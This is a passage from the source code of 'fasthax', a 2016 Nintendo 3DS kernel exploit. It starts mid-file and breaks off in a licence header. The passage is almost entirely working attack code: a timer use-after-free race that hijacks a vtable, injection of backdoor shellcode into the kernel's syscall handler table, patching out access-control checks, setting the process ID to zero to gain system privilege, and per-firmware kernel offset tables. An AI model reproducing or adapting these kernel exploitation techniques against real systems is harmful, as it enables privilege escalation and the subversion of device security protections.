backdoor 184 | * we can use this to restore send_synd_request3 and give kernel 185 | * access by some other means. 186 | */ 187 | void *send_sync_request3_orig = NULL; 188 | void *svc_backdoor_orig = NULL; 189 | 190 | /* must be called in kernel mode */ 191 | void install_global_backdoor() { 192 | u32 **svc_handler_table_writable = (u32**)CONVERT_VA_L2_TO_L1(table->svc_handler_table); 193 | if (send_sync_request3_orig == NULL) { 194 | send_sync_request3_orig = svc_handler_table_writable[SEND_SYNC_REQUEST3]; 195 | svc_backdoor_orig = svc_handler_table_writable[SVC_BACKDOOR_NUM]; 196 | } 197 | svc_handler_table_writable[SEND_SYNC_REQUEST3] = (u32 *)&kernel_backdoor; 198 | } 199 | 200 | /* must be called in kernel mode */ 201 | void uninstall_global_backdoor() { 202 | u32 **svc_handler_table_writable = (u32**)CONVERT_VA_L2_TO_L1(table->svc_handler_table); 203 | svc_handler_table_writable[SEND_SYNC_REQUEST3] = send_sync_request3_orig; 204 | svc_handler_table_writable[SVC_BACKDOOR_NUM] = svc_backdoor_orig; 205 | } 206 | 207 | /* adapted from Luma */ 208 | #define BACKDOOR_SIZE 40 209 | static u8 backdoor_code[BACKDOOR_SIZE] = 210 | { 0xFF, 0x10, 0xCD, 0xE3, 0x0F, 0x1C, 0x81, 0xE3, 0x28, 0x10, 0x81, 0xE2, 211 | 0x00, 0x20, 0x91, 0xE5, 0x00, 0x60, 0x22, 0xE9, 0x02, 0xD0, 0xA0, 0xE1, 212 | 0x30, 0xFF, 0x2F, 0xE1, 0x03, 0x00, 0xBD, 0xE8, 0x00, 0xD0, 0xA0, 0xE1, 213 | 0x11, 0xFF, 0x2F, 0xE1 }; 214 | 215 | void *memmem(const void *big, size_t big_len, const void *little, size_t little_len) { 216 | if (big == NULL || little == NULL || little_len > big_len) { 217 | return NULL; 218 | } 219 | 220 | /* stupid C pointer arithmetic */ 221 | u8 *big_u8 = (u8 *)big; 222 | for (size_t i = 0; i < (big_len - little_len); i++) { 223 | void *current = (void *)&big_u8[i]; 224 | if (memcmp(current, little, little_len) == 0) { 225 | return current; 226 | } 227 | } 228 | 229 | return NULL; 230 | } 231 | 232 | /* adapted from waithax. 233 | * searches exception handler page for 0xFF*BACKDOOR_SIZE, returns NULL 234 | * if not found. 235 | */ 236 | static void *find_free_space() { 237 | u8 free_pattern[BACKDOOR_SIZE]; 238 | memset(free_pattern, 0xFF, BACKDOOR_SIZE); 239 | return memmem((const void *)EXC_VA_START, EXC_SIZE, free_pattern, BACKDOOR_SIZE); 240 | } 241 | 242 | static bool g_finalize_backdoor_ret = false; 243 | 244 | static void kernel_finalize_global_backdoor() { 245 | u32 **svc_handler_table_writable = (u32**)CONVERT_VA_L2_TO_L1(table->svc_handler_table); 246 | if (svc_handler_table_writable[SVC_BACKDOOR_NUM] == 0) { 247 | u32 *free_space = find_free_space(); 248 | if (free_space == NULL) { 249 | g_finalize_backdoor_ret = false; 250 | return; 251 | } 252 | 253 | u32 *free_space_writable = EXC_PA_TO_RW(kernel_va_to_pa(free_space)); 254 | 255 | memcpy(free_space_writable, backdoor_code, sizeof(backdoor_code)); 256 | svc_handler_table_writable[SVC_BACKDOOR_NUM] = free_space; 257 | } 258 | svc_handler_table_writable[SEND_SYNC_REQUEST3] = svc_handler_table_writable[SVC_BACKDOOR_NUM]; 259 | 260 | /* patch out svc acl check */ 261 | u32 *svc_acl_check_writable = (u32*)CONVERT_VA_L2_TO_L1(table->svc_acl_check); 262 | *svc_acl_check_writable = MOVS_R10_1; 263 | 264 | g_finalize_backdoor_ret = true; 265 | flush_caches(); 266 | } 267 | 268 | bool finalize_global_backdoor() { 269 | /* Currently the local backdoor really. This will make itself global :-) */ 270 | g_finalize_backdoor_ret = false; 271 | svcGlobalBackdoor((s32(*)(void)) &kernel_finalize_global_backdoor); 272 | if (!g_finalize_backdoor_ret) { 273 | printf("[-] finalize_global_backdoor failed to find free space\n"); 274 | return false; 275 | } 276 | /* Check we didn't break things. */ 277 | return global_backdoor_installed(); 278 | } 279 | 280 | bool get_timer_value(Handle timer, u64 *initial, u64 *interval) { 281 | u64 *timer_addr = (u64 *)get_object_addr(timer); 282 | if (!timer_addr) { 283 | printf("get_timer_value: get_object_addr failed\n"); 284 | return false; 285 | } 286 | 287 | if (initial) { 288 | kmemcpy_debug(initial, &timer_addr[6], sizeof(u64)); 289 | } 290 | 291 | if (interval) { 292 | kmemcpy_debug(interval, &timer_addr[5], sizeof(u64)); 293 | } 294 | 295 | return true; 296 | } 297 | -------------------------------------------------------------------------------- /source/backdoor_asm.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | 4 | .section .text.svcDebugBackdoor, "ax", %progbits 5 | .global svcDebugBackdoor 6 | .type svcDebugBackdoor, %function 7 | .align 2 8 | svcDebugBackdoor: 9 | svc 0x2f 10 | bx lr 11 | 12 | .section .text.svcGlobalBackdoor, "ax", %progbits 13 | .global svcGlobalBackdoor 14 | .type svcGlobalBackdoor, %function 15 | .align 2 16 | svcGlobalBackdoor: 17 | svc 0x30 18 | bx lr 19 | -------------------------------------------------------------------------------- /source/cleanup.c: -------------------------------------------------------------------------------- 1 | /* cleanup.c Ned Williamson 2016 */ 2 | 3 | #include <3ds.h> 4 | #include 5 | #include 6 | #include 7 | #include "common.h" 8 | #include "cleanup.h" 9 | #include "backdoor.h" 10 | #include "exploit.h" 11 | 12 | /* is this valid across versions? */ 13 | #define KTIMER_OBJECT_SIZE 0x3C 14 | 15 | /* This should really be IS_VTABLE but different mappings make it hard 16 | * to generalize this value. The only base pointers in the slab heap 17 | * are pointers to the vtable, pointers to kernel objects, and NULL, 18 | * so this overapproximation is worth the precision tradeoff. 19 | */ 20 | #define NUM_TIMER_OBJECTS ((u32)(table->ktimer_pool_size / KTIMER_OBJECT_SIZE)) 21 | #define KTIMER_BASE ((void *)(0xFFF70000 + table->ktimer_base_offset)) 22 | #define KTIMER_END ((void *)((u32)KTIMER_BASE + (NUM_TIMER_OBJECTS * KTIMER_OBJECT_SIZE))) 23 | 24 | #define IS_KERNEL_NON_SLAB_HEAP(addr) (0xFFF00000 <= (u32)(addr) && (u32)(addr) < 0xFFF70000) 25 | #define TOBJ_ADDR_TO_IDX(addr) (((u32)(addr) - (u32)KTIMER_BASE) / KTIMER_OBJECT_SIZE) 26 | #define TOBJ_IDX_TO_ADDR(idx) ((u32)KTIMER_BASE + KTIMER_OBJECT_SIZE * (u32)(idx)) 27 | 28 | static void *find_orphan() { 29 | bool reachable[NUM_TIMER_OBJECTS]; 30 | memset(reachable, 0, NUM_TIMER_OBJECTS * sizeof(bool)); 31 | 32 | /* go through the timer table and find all reachable objects */ 33 | u32 i = 0; 34 | for (void *current_timer = KTIMER_BASE; 35 | current_timer < KTIMER_END; 36 | current_timer += KTIMER_OBJECT_SIZE, i++) { 37 | void *child = (void *)kreadint(current_timer); 38 | 39 | if (IS_KERNEL_NON_SLAB_HEAP(child)) { 40 | /* object is allocated, therefore reachable */ 41 | reachable[i] = true; 42 | } else if (KTIMER_BASE <= child && child < KTIMER_END) { 43 | /* object is freed, next pointer is reachable */ 44 | reachable[TOBJ_ADDR_TO_IDX(child)] = true; 45 | } else if (child != NULL && child != (void *)TIMER2_NEXT_KERNEL) { 46 | printf("[!] Timer table entry had non-vtable, non-freed entry!\n"); 47 | printf("It looks like this: %p -> %p\n", current_timer, child); 48 | wait_for_user(); 49 | } 50 | } 51 | 52 | /* account for list head */ 53 | void *first_freed = (void *)kreadint((void *)table->ktimer_pool_head); 54 | if (first_freed) { 55 | reachable[TOBJ_ADDR_TO_IDX(first_freed)] = true; 56 | } 57 | 58 | u32 num_unreachable = 0; 59 | void *orphan = NULL; 60 | for (i = 0; i < NUM_TIMER_OBJECTS; i++) { 61 | if (!reachable[i]) { 62 | num_unreachable++; 63 | /* update only if necessary */ 64 | orphan = orphan ? orphan : (void *)TOBJ_IDX_TO_ADDR(i); 65 | } 66 | } 67 | if (num_unreachable != 1) { 68 | printf("[!] Warning: expected one unreachable node, found %ld!\n", num_unreachable); 69 | } 70 | 71 | return orphan; 72 | } 73 | 74 | static void **find_parent() { 75 | // traverse linked list until next points to userspace 76 | void *current_node = (void *)table->ktimer_pool_head; 77 | while (true) { 78 | void *next = (void *)kreadint(current_node); 79 | 80 | if (next == (void *)TIMER2_NEXT_KERNEL) { 81 | return current_node; 82 | } else if (next == NULL) { 83 | return NULL; 84 | } 85 | 86 | current_node = next; 87 | } 88 | } 89 | 90 | bool cleanup_uaf() { 91 | /* TODO: this entire function is TOCTTOU of kernel free list state */ 92 | /* at this point the kernel timer free list contains a userspace item. 93 | * we need to fix that. 94 | */ 95 | 96 | void **parent = find_parent(); 97 | if (!parent) { 98 | printf("[-] Failed to find parent in KTimer linked list.\n"); 99 | return false; 100 | } 101 | 102 | void *orphan = find_orphan(); 103 | if (!orphan) { 104 | printf("[-] Failed to find orphan in KTimer linked list.\n"); 105 | return false; 106 | } 107 | 108 | printf("[+] Fixed link: %p -> %p\n", parent, orphan); 109 | kwriteint((u32 *)parent, (u32)orphan); 110 | return true; 111 | } 112 | -------------------------------------------------------------------------------- /source/exploit.c: -------------------------------------------------------------------------------- 1 | /* Exploit-related code. Ned Williamson 2016 */ 2 | #include <3ds.h> 3 | #include 4 | #include 5 | #include "common.h" 6 | #include "backdoor.h" 7 | #include "exploit.h" 8 | #include "timer.h" 9 | #include "util.h" 10 | #include "cleanup.h" 11 | 12 | version_table *table; 13 | bool is_n3ds; 14 | 15 | #define PROCESS_ACL_OFFSET ((is_n3ds) ? 0x24 : 0x22) 16 | #define PROCESS_PID_OFFSET ((is_n3ds) ? 0x2F : 0x2D) 17 | #define SVC_ACL_SIZE 0x10 18 | #define LINEAR_KERN_TO_USER(addr) ((addr) - 0xE0000000 + 0x14000000) 19 | 20 | static u32 fptrs[16] = { 21 | (u32)&install_global_backdoor, 22 | (u32)&install_global_backdoor, 23 | (u32)&install_global_backdoor, 24 | (u32)&install_global_backdoor, 25 | (u32)&install_global_backdoor, 26 | (u32)&install_global_backdoor, 27 | (u32)&install_global_backdoor, 28 | (u32)&install_global_backdoor, 29 | (u32)&install_global_backdoor, 30 | (u32)&install_global_backdoor, 31 | (u32)&install_global_backdoor, 32 | (u32)&install_global_backdoor, 33 | (u32)&install_global_backdoor, 34 | (u32)&install_global_backdoor, 35 | (u32)&install_global_backdoor, 36 | (u32)&install_global_backdoor, 37 | }; 38 | 39 | /* if the UAF succeeded, setup global_backdoor */ 40 | static bool try_setup_global_backdoor() { 41 | Handle timer, timer2; 42 | Result res; 43 | 44 | vu32 *timer2_next_user = (u32 *)LINEAR_KERN_TO_USER(TIMER2_NEXT_KERNEL); 45 | 46 | u32 orig_value = *timer2_next_user; 47 | /* orig_value is usually NULL. I think this is actually critical 48 | * for stability as it makes the next timer to alloc NULL, so other 49 | * procs can't interfere! 50 | */ 51 | 52 | res = svcCreateTimer(&timer, RESET_PULSE); 53 | if (res < 0) { 54 | printf("setup_global_backdoor: couldn't create timer1\n"); 55 | return false; 56 | } 57 | 58 | res = svcCreateTimer(&timer2, RESET_PULSE); 59 | if (res < 0) { 60 | printf("setup_global_backdoor: couldn't create timer2\n"); 61 | svcCloseHandle(timer); 62 | return false; 63 | } 64 | 65 | u32 current_value = *timer2_next_user; 66 | 67 | /* if nothing changed, then we didn't win the race */ 68 | if (orig_value == current_value) { 69 | res = svcCloseHandle(timer2); 70 | if (res < 0) { 71 | printf("setup_global_backdoor: warning: couldn't destroy timer2\n"); 72 | } 73 | 74 | res = svcCloseHandle(timer); 75 | if (res < 0) { 76 | printf("setup_global_backdoor: warning: couldn't destroy timer\n"); 77 | } 78 | 79 | return false; 80 | } 81 | 82 | /* we won the race! replace vtable with our own */ 83 | *timer2_next_user = (u32)&fptrs; 84 | 85 | /* this installs the backdoor */ 86 | svcCancelTimer(timer2); 87 | 88 | /* put vtable back so we can free normally */ 89 | /* leave timer in handle table, don't let others allocate */ 90 | /* this is the easiest way I can think of to avoid the node getting 91 | * picked up by another process atm. 92 | */ 93 | *timer2_next_user = current_value; 94 | /* reset refcount to 1 since we overwrote it */ 95 | timer2_next_user[1] = 1; 96 | 97 | res = svcCloseHandle(timer2); 98 | if (res < 0) { 99 | printf("setup_global_backdoor: warning: couldn't destroy timer2\n"); 100 | } 101 | 102 | res = svcCloseHandle(timer); 103 | if (res < 0) { 104 | printf("setup_global_backdoor: warning: couldn't destroy timer\n"); 105 | } 106 | 107 | return true; 108 | } 109 | 110 | /* returns true if attempt succeeded */ 111 | /* call this after initialize_state */ 112 | static void try_once() { 113 | Handle timer; 114 | /* each round, we allocate timer1, run the pulse timer, 115 | * then free it. if it frees while pulsing a UAF occurs 116 | * and we have &timer2 where &timer1->vtable should be. 117 | * so we get a vtable call where the fields from timer2 118 | * were controlled 119 | * 120 | * then we get (timer2+0x3c)(timer2, ...) 121 | * so return to any kernel function that writes an error to R0 122 | * 0xE....... which is R/W shared with userspace 0x2....... 123 | * this gives us *timer2 = userspace_addr; 124 | * and the timer object free list is timer1 -> timer2 -> ... 125 | * so we need to alloc two times to get timer2, then we should 126 | * be able to overwrite its vtable as we please using the shared 127 | * memory 128 | */ 129 | 130 | svcCreateTimer(&timer, RESET_PULSE); 131 | // set timer with a quick first pulse, long second pulse 132 | // 6000 found using random trial and error. there might be 133 | // a better value 134 | svcSetTimer(timer, 8000, 0x1000000000); 135 | // hope the pulse race happens 136 | svcCloseHandle(timer); 137 | svcSleepThread(1000000); 138 | 139 | /* reallocate the freed timer and clear it from the scheduler */ 140 | svcCreateTimer(&timer, RESET_PULSE); 141 | svcCancelTimer(timer); 142 | svcCloseHandle(timer); 143 | } 144 | 145 | // New 3DS 146 | static version_table n_table[] = { 147 | {SYSTEM_VERSION(2, 46, 0), 0xFFF18D5C, 0xFFF1B1A4, 0xFFF02300, 0xFFF02258, 0xFFF32238, 0x0E50, 0x4F20}, // 9.0 148 | {SYSTEM_VERSION(2, 48, 3), 0xFFF18AFC, 0xFFF1B188, 0xFFF02310, 0xFFF02268, 0xFFF32238, 0x0E10, 0x4E20}, // 9.3 149 | {SYSTEM_VERSION(2, 49, 0), 0xFFF18AF0, 0xFFF1B17C, 0xFFF0230C, 0xFFF02264, 0xFFF32238, 0x0E10, 0x4E20}, // 9.5 150 | {SYSTEM_VERSION(2, 50, 1), 0xFFF18B18, 0xFFF1B1A4, 0xFFF02308, 0xFFF02260, 0xFFF32238, 0x0E10, 0x4E20}, // 9.6 151 | {SYSTEM_VERSION(2, 50, 7), 0xFFF18AF0, 0xFFF1B17C, 0xFFF02310, 0xFFF02268, 0xFFF32238, 0x0E10, 0x4E20}, // 10.0 152 | {SYSTEM_VERSION(2, 50, 9), 0xFFF18AF0, 0xFFF1B17C, 0xFFF02310, 0xFFF02268, 0xFFF32238, 0x0E10, 0x4E20}, // 10.2 153 | {SYSTEM_VERSION(2, 50, 11), 0xFFF18AF0, 0xFFF1B17C, 0xFFF02310, 0xFFF02268, 0xFFF32238, 0x0E10, 0x4E20}, // 10.4 154 | {SYSTEM_VERSION(2, 51, 0), 0xFFF18CD4, 0xFFF1B5FC, 0xFFF0230C, 0xFFF02264, 0xFFF33278, 0x0E10, 0x4E20}, // 11.0 155 | {SYSTEM_VERSION(2, 51, 2), 0xFFF18CD4, 0xFFF1B63C, 0xFFF0230C, 0xFFF02264, 0xFFF33278, 0x0E10, 0x4E20}, // 11.1 156 | {SYSTEM_VERSION(2, 52, 0), 0xFFF18CF4, 0xFFF1B65C, 0xFFF0230C, 0xFFF02264, 0xFFF33278, 0x0E10, 0x4E20}, // 11.2 157 | {0}, 158 | }; 159 | 160 | // Old 3DS 161 | static version_table o_table[] = { 162 | {SYSTEM_VERSION(2, 46, 0), 0xFFF184C0, 0xFFF1A830, 0xFFF02330, 0xFFF02288, 0xFFF31000, 0x0DD8, 0x4958}, // 9.0 163 | {SYSTEM_VERSION(2, 48, 3), 0xFFF185C0, 0xFFF1AB50, 0xFFF0232C, 0xFFF02284, 0xFFF31000, 0x0DD8, 0x4A48}, // 9.3 164 | {SYSTEM_VERSION(2, 49, 0), 0xFFF185B4, 0xFFF1AB44, 0xFFF02328, 0xFFF02280, 0xFFF31000, 0x0DD8, 0x4A48}, // 9.5 165 | {SYSTEM_VERSION(2, 50, 1), 0xFFF185DC, 0xFFF1AB6C, 0xFFF02324, 0xFFF0227C, 0xFFF31000, 0x0DD8, 0x4A48}, // 9.6 166 | {SYSTEM_VERSION(2, 50, 7), 0xFFF185A8, 0xFFF1AB38, 0xFFF0232C, 0xFFF02284, 0xFFF31000, 0x0DD8, 0x4A48}, // 10.0 167 | {SYSTEM_VERSION(2, 50, 9), 0xFFF185A8, 0xFFF1AB38, 0xFFF0232C, 0xFFF02284, 0xFFF31000, 0x0DD8, 0x4A48}, // 10.2 168 | {SYSTEM_VERSION(2, 50, 11), 0xFFF185A8, 0xFFF1AB38, 0xFFF0232C, 0xFFF02284, 0xFFF31000, 0x0DD8, 0x4A48}, // 10.4 169 | {SYSTEM_VERSION(2, 51, 0), 0xFFF18A80, 0xFFF1B2AC, 0xFFF02328, 0xFFF02280, 0xFFF32040, 0x0DD8, 0x4A48}, // 11.0 170 | {SYSTEM_VERSION(2, 51, 2), 0xFFF18A80, 0xFFF1B2EC, 0xFFF02328, 0xFFF02280, 0xFFF32040, 0x0DD8, 0x4A48}, // 11.1 171 | {SYSTEM_VERSION(2, 52, 0), 0xFFF18AA0, 0xFFF1B30C, 0xFFF02328, 0xFFF02280, 0xFFF32040, 0x0DD8, 0x4A48}, // 11.2 172 | {0}, 173 | }; 174 | 175 | static bool initialize_handle_address() { 176 | u32 kver = osGetKernelVersion(); 177 | APT_CheckNew3DS(&is_n3ds); 178 | 179 | version_table *preset = is_n3ds ? n_table : o_table; 180 | 181 | while (preset->kver) { 182 | if (preset->kver == kver) { 183 | table = preset; 184 | return true; 185 | } 186 | preset = preset + 1; 187 | } 188 | return false; 189 | } 190 | 191 | static bool try_uaf(u32 attempts) { 192 | for (u32 i = 0; i < attempts; i++) { 193 | if ((i % 0x1000) == 0) { 194 | printf("[*] Beginning attempt 0x%lx...\n", i); 195 | } 196 | try_once(); 197 | if (try_setup_global_backdoor()) { 198 | return true; 199 | } 200 | } 201 | return false; 202 | } 203 | 204 | static u32 kernel_patch_ret; 205 | static s32 kernel_pid_orig; 206 | 207 | static void kernel_patch_acl() { 208 | __asm__ volatile("cpsid aif"); 209 | 210 | kernel_patch_ret = 0; 211 | 212 | u32 *current_process = *(u32**)(CURRENT_PROCESS); 213 | u32 *proc_acl = current_process + PROCESS_ACL_OFFSET; 214 | memset(proc_acl, 0xFF, SVC_ACL_SIZE); 215 | 216 | u32 **current_kthread = *(u32***)(CURRENT_KTHREAD); 217 | u32 *thread_acl = *(current_kthread + 0x22) - 0x6; 218 | memset(thread_acl, 0xFF, SVC_ACL_SIZE); 219 | 220 | kernel_patch_ret = 1; 221 | } 222 | 223 | static void kernel_patch_pid() { 224 | __asm__ volatile("cpsid aif"); 225 | 226 | kernel_patch_ret = 0; 227 | 228 | u32 *current_process = *(u32**)(CURRENT_PROCESS); 229 | u32 *pid = current_process + PROCESS_PID_OFFSET; 230 | kernel_pid_orig = *pid; 231 | *pid = 0; 232 | 233 | kernel_patch_ret = 1; 234 | } 235 | 236 | static void kernel_restore_pid() { 237 | __asm__ volatile("cpsid aif"); 238 | 239 | kernel_patch_ret = 0; 240 | 241 | u32 *current_process = *(u32**)(CURRENT_PROCESS); 242 | u32 *pid = current_process + PROCESS_PID_OFFSET; 243 | *pid = kernel_pid_orig; 244 | 245 | kernel_patch_ret = 1; 246 | } 247 | 248 | /* Copy from waithax & svchax */ 249 | bool elevate_system_privilege() { 250 | svcGlobalBackdoor((s32(*)(void)) & kernel_patch_acl); 251 | 252 | if (!kernel_patch_ret) { 253 | printf("elevate_system_privilege: couldn't patch SVC ACL.\n"); 254 | return false; 255 | } 256 | 257 | svcGlobalBackdoor((s32(*)(void)) & kernel_patch_pid); 258 | 259 | if (!kernel_patch_ret) { 260 | printf("elevate_system_privilege: couldn't patch PID.\n"); 261 | return false; 262 | } 263 | 264 | srvExit(); 265 | srvInit(); 266 | 267 | svcGlobalBackdoor((s32(*)(void)) & kernel_restore_pid); 268 | 269 | return true; 270 | } 271 | 272 | #define NUM_ATTEMPTS 0x10000 273 | 274 | bool k11_exploit() { 275 | if (global_backdoor_installed()) { 276 | printf("[+] Backdoor already installed.\n"); 277 | return true; 278 | } 279 | 280 | if (!initialize_handle_address()) { 281 | printf("[-] Unsupported kernel version.\n"); 282 | return false; 283 | } 284 | printf("[+] Initialized kernel-specific offsets.\n"); 285 | 286 | if (!initialize_timer_state()) { 287 | printf("[-] Couldn't initialize timer state.\n"); 288 | return false; 289 | } 290 | printf("[+] Initialized timer state.\n"); 291 | 292 | if (!try_uaf(NUM_ATTEMPTS)) { 293 | printf("[!] Couldn't trigger UAF within %x iterations.\n", NUM_ATTEMPTS); 294 | printf("[*] It is safe to rerun fasthax to try again.\n"); 295 | return false; 296 | } 297 | 298 | /* XXX: we might want to cleanup ASAP if printing needs to alloc 2 timers */ 299 | if (!global_backdoor_installed()) { 300 | printf("[-] UAF reported success but backdoor not installed!\n"); 301 | return false; 302 | } 303 | printf("[+] UAF succeeded and local backdoor installed.\n"); 304 | 305 | /* global backdoor is installed using code from this process 306 | * We need to restore svcBackdoor code into the kernel now so we 307 | * can call this SVC from any process. 308 | */ 309 | if (!finalize_global_backdoor()) { 310 | printf("[-] Couldn't finalize global backdoor.\n"); 311 | printf("[-] We won't be able to run kernel code in other processes.\n"); 312 | return false; 313 | } 314 | printf("[+] Local backdoor made persistent.\n"); 315 | 316 | if (!elevate_system_privilege()) { 317 | printf("[-] Couldn't patch ACL & service accesses.\n"); 318 | wait_for_user(); 319 | // if fail elevate privilege, still need cleanup 320 | } 321 | printf("[+] Patched ACL and service accesses.\n"); 322 | 323 | if (!cleanup_uaf()) { 324 | printf("[-] Warning! Exploit succeeded couldn't cleanup kernel.\n"); 325 | printf("[-] System instability may occur.\n"); 326 | return false; 327 | } 328 | printf("[+] Cleaned up KTimer linked list corruption.\n"); 329 | 330 | return true; 331 | } 332 | -------------------------------------------------------------------------------- /source/heap.c: -------------------------------------------------------------------------------- 1 | /* Adapted from ctrulib. Thanks smea. */ 2 | 3 | #include <3ds.h> 4 | #include "heap.h" 5 | 6 | void __system_allocateHeaps(void) { 7 | u32 tmp = 0; 8 | 9 | u32 size = osGetMemRegionFree(MEMREGION_APPLICATION); 10 | /* TODO: record a smaller size so ctrulib doesn't alloc over the exploited 11 | * object. 12 | */ 13 | __ctru_linear_heap_size = LINEAR_HEAP_SIZE; 14 | __ctru_heap_size = size - __ctru_linear_heap_size; 15 | 16 | __ctru_heap = 0x08000000; 17 | svcControlMemory(&tmp, __ctru_heap, 0x0, __ctru_heap_size, MEMOP_ALLOC, 18 | MEMPERM_READ | MEMPERM_WRITE); 19 | 20 | svcControlMemory(&__ctru_linear_heap, 0x0, 0x0, __ctru_linear_heap_size, 21 | MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE); 22 | 23 | fake_heap_start = (char *)__ctru_heap; 24 | fake_heap_end = fake_heap_start + __ctru_heap_size; 25 | } 26 | -------------------------------------------------------------------------------- /source/main.c: -------------------------------------------------------------------------------- 1 | /* 3ds fasthax kernel exploit 2 | * 11.2 USA N3DS 3 | * Ned Williamson 2016 4 | */ 5 | 6 | #include <3ds.h> 7 | #include 8 | 9 | #include "util.h" 10 | #include "exploit.h" 11 | 12 | int main() { 13 | gfxInitDefault(); 14 | 15 | PrintConsole *print_console = consoleInit(GFX_TOP, NULL); 16 | consoleSelect(print_console); 17 | 18 | gspWaitForVBlank(); 19 | 20 | if (k11_exploit()) { 21 | printf("[+] k11_exploit succeeded!\n"); 22 | } else { 23 | printf("[-] k11_exploit failed!\n"); 24 | } 25 | 26 | wait_for_user(); 27 | 28 | gfxExit(); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /source/timer.c: -------------------------------------------------------------------------------- 1 | /* Code related to setting up freed timer. 2 | * Ned Williamson 2016 3 | */ 4 | 5 | #include 6 | #include <3ds.h> 7 | 8 | #include "common.h" 9 | #include "timer.h" 10 | #include "backdoor.h" 11 | #include "cleanup.h" 12 | #include "util.h" 13 | 14 | static u64 get_tick_offset() { 15 | /* To find this: run svcGetSystemTick, then do SetTimer(timer, 100000, 100000) 16 | * or something then lookup the object's initial timer value and compare 17 | * the recorded svcGetSystemTick value with the KTimer one - 100000. 18 | * I wrote a helper called `get_timer_value` to make this easier. 19 | * Yes this is my very own Carmack function. Did it just for that reason. 20 | */ 21 | double init = (double)svcGetSystemTick(); 22 | u64 offset = (u64)(3.729786579754653 * init - 4494.765251159668); 23 | return offset; 24 | } 25 | 26 | bool set_timer(Handle timer, u32 kernel_callback_int) { 27 | if (!(kernel_callback_int & 0x80000000)) { 28 | printf("set_timer called with non-negative arg\n"); 29 | return false; 30 | } 31 | 32 | Result res; 33 | 34 | u64 offset = get_tick_offset(); 35 | u64 timeout = ((u64)(kernel_callback_int - 0x80000000) << 32) + 1 - offset; 36 | /* land as far forward as possible */ 37 | u64 kernel_callback_offset = 0x8000000000000000 - 1; 38 | if ((s64)kernel_callback_offset < 0 || (s64)timeout < 0) { 39 | printf("oops: kernel_callback_offset < 0 or timeout < 0\n"); 40 | return false; 41 | } 42 | 43 | /* now we have the offset and timeout, actually set the value */ 44 | res = svcSetTimer(timer, kernel_callback_offset, timeout); 45 | if (res < 0) { 46 | printf("failed to set timer: 0x%lx\n", res); 47 | return false; 48 | } 49 | 50 | s32 out; 51 | // wait for timer to tick with no timeout (should be instant) 52 | s32 handlecount = 1; 53 | bool waitall = true; 54 | res = svcWaitSynchronizationN(&out, &timer, handlecount, waitall, -1); 55 | if (res < 0) { 56 | printf("failed to wait on timer\n"); 57 | return false; 58 | } 59 | 60 | /* keep cancelling in a loop since handler thread may be reinstalling */ 61 | for (int i = 0; i < 256; i++) { 62 | svcCancelTimer(timer); 63 | } 64 | 65 | return true; 66 | } 67 | 68 | static bool set_first_timer(Handle timer) { 69 | /* land as far forward as possible */ 70 | u64 kernel_callback_offset = 0x8000000000000000 - 1; 71 | if ((s64)kernel_callback_offset < 0) { 72 | printf("oops: kernel_callback_offset < 0\n"); 73 | return false; 74 | } 75 | 76 | /* land slightly forward */ 77 | Result res = svcSetTimer(timer, kernel_callback_offset, 1000000); 78 | if (res < 0) { 79 | printf("failed to set timer: 0x%lx\n", res); 80 | return false; 81 | } 82 | return true; 83 | } 84 | 85 | bool initialize_timer_state() { 86 | Result res; 87 | Handle timer; 88 | 89 | /* alloced: timer1 */ 90 | res = svcCreateTimer(&timer, RESET_STICKY); 91 | if (res < 0) { 92 | printf("failed to create timer1\n"); 93 | return false; 94 | } 95 | 96 | /* alloced: timer1, timer2 */ 97 | Handle timer2; 98 | res = svcCreateTimer(&timer2, RESET_STICKY); 99 | if (res < 0) { 100 | printf("failed to create timer2\n"); 101 | svcCloseHandle(timer); 102 | return false; 103 | } 104 | 105 | svcCancelTimer(timer2); 106 | 107 | /* The time event handler thread on CORE1 will keep looping fetching the 108 | * first element of the (sorted by signed time) linked list and handling 109 | * it if it's ready. Because we want to set a negative time, the event 110 | * time that we want to set will keep getting incremented since it is always 111 | * "ready" (< current time). For the KTimer this means it will add the 112 | * interval in a tight loop repeatedly, causing us to miss our value. 113 | * To workaround this, from CORE0 (default user thread for this process) 114 | * set a timer with a short interval, so that it clogs up the timer event 115 | * queue, slowly advancing towards 0. Then schedule the other event to jump 116 | * straight to the desired value (0xFFF.............) and wait on it so we 117 | * know this happened. Then we cancel the desired timer and then cancel the 118 | * dummy timer that's occupying the front of the queue. This eliminates the 119 | * last bit of instability from this exploit. 120 | */ 121 | set_first_timer(timer); 122 | 123 | if (!set_timer(timer2, table->random_stub)) { 124 | printf("failed to set timer\n"); 125 | svcCloseHandle(timer2); 126 | svcCloseHandle(timer); 127 | return false; 128 | } 129 | 130 | /* cancel filler timer, in a loop since handler thread may be reinstalling */ 131 | for (int i = 0; i < 256; i++) { 132 | svcCancelTimer(timer); 133 | } 134 | 135 | /* alloced: timer1 */ 136 | /* freed: timer2 -> ... */ 137 | res = svcCloseHandle(timer2); 138 | if (res < 0) { 139 | printf("failed to close timer handle\n"); 140 | return false; 141 | } 142 | 143 | /* freed: timer1 -> timer2 -> ... */ 144 | res = svcCloseHandle(timer); 145 | if (res < 0) { 146 | printf("failed to close timer handle\n"); 147 | return false; 148 | } 149 | return true; 150 | } 151 | -------------------------------------------------------------------------------- /source/util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include <3ds.h> 3 | #include "util.h" 4 | 5 | static int user_interrupted() { 6 | hidScanInput(); 7 | return hidKeysDown() & KEY_START; 8 | } 9 | 10 | void wait_for_user() { 11 | printf("waiting for user... press to continue\n"); 12 | while (!user_interrupted()); 13 | svcSleepThread(1000000); 14 | } 15 | -------------------------------------------------------------------------------- /source/utils.s: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2016 Mrrraou 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A 